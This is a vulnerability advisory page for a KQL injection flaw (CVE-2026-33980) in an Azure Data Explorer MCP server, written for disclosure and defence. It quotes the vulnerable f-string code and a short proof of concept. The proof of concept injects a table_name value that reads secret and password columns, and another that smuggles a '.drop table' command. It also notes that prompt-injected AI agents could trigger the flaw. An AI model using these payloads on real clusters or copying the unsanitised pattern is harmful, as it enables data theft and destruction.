CVE-2026-33980 is a high-severity (CVSS 8.3) CWE-943 vulnerability in adx-mcp-server. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33980.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
adx-mcp-serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.
Details
The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:
Vulnerable code (permalink):
@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | getschema" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | sample {sample_size}" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f".show table {table_name} details" # <-- KQL injection
result_set = client.execute(config.database, query)
KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
sensitive_table | project Secret, Password | take 100 //to read arbitrary tables- Newline-separated management commands like
.drop table important_dataviaget_table_details - Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.
PoC
# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"
import json
# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead
# Destructive example via get_table_details:
tool_call_destructive = {
"name": "get_table_details",
"arguments": {
"table_name": "users details\n.drop table critical_data"
}
}
# Resulting KQL:
# .show table users details
# .drop table critical_data details
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | adx-mcp-server | all versions | No fix |
Affected Products
azure data explorer mcp serverpab1it0Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for adx-mcp-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of adx-mcp-server for CVE-2026-33980. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-33980 in your dependencies?
Find it across PyPI, including transitive dependencies.